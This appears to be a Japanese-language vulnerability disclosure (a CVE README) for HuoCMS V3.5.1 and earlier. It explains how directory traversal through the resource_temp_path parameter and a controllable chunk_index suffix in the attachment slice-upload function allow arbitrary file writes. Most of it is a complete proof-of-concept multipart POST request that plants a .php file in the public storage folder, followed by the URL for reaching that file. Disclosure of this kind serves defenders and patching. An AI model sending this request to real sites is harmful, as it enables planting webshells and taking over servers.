
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
AttachmentController.php(app > controller > backend 配下)の sliceUploadAndSave メソッドでは、resource_type パラメータが許可されたファイル拡張子(txt、png など)のホワイトリストに対して検証されます。その後、メソッドは Upload.php(app > service > upload 配下)の tmpMove を呼び出します。
tmpMove メソッドはまずファイルを作成します。しかし、$filename パラメータ(resource_temp_path 入力パラメータによって制御され、ユーザーが制御可能)を悪用して、ディレクトリトラバーサル(例:../ を使用)を行い、フォルダを作成することができます。その後、メソッドは移動操作を実行し、作成したディレクトリにファイルを配置します。最終的なファイル名は、アンダースコアと $pos サフィックスを追加して生成されます。ここで $pos は、呼び出し時に渡される chunk_index パラメータによって制御されます(詳細は実際のパラメータ受け渡しを参照)。
これにより、攻撃者が resource_temp_path と chunk_index を操作して、任意の場所に制御されたファイル名でファイルを書き込むことができる脆弱性が発生します。
詳細:
app >controller >backend > AttachmentController.php:sliceUploadAndSave

app >service >upload > Upload.php:tmpMove

この脆弱性はバックエンドの問題であり、呼び出すにはトークンを使用してバックエンドにログインする必要があります。ご自身でセットアップしてログインしてください。
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

アクセスURL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/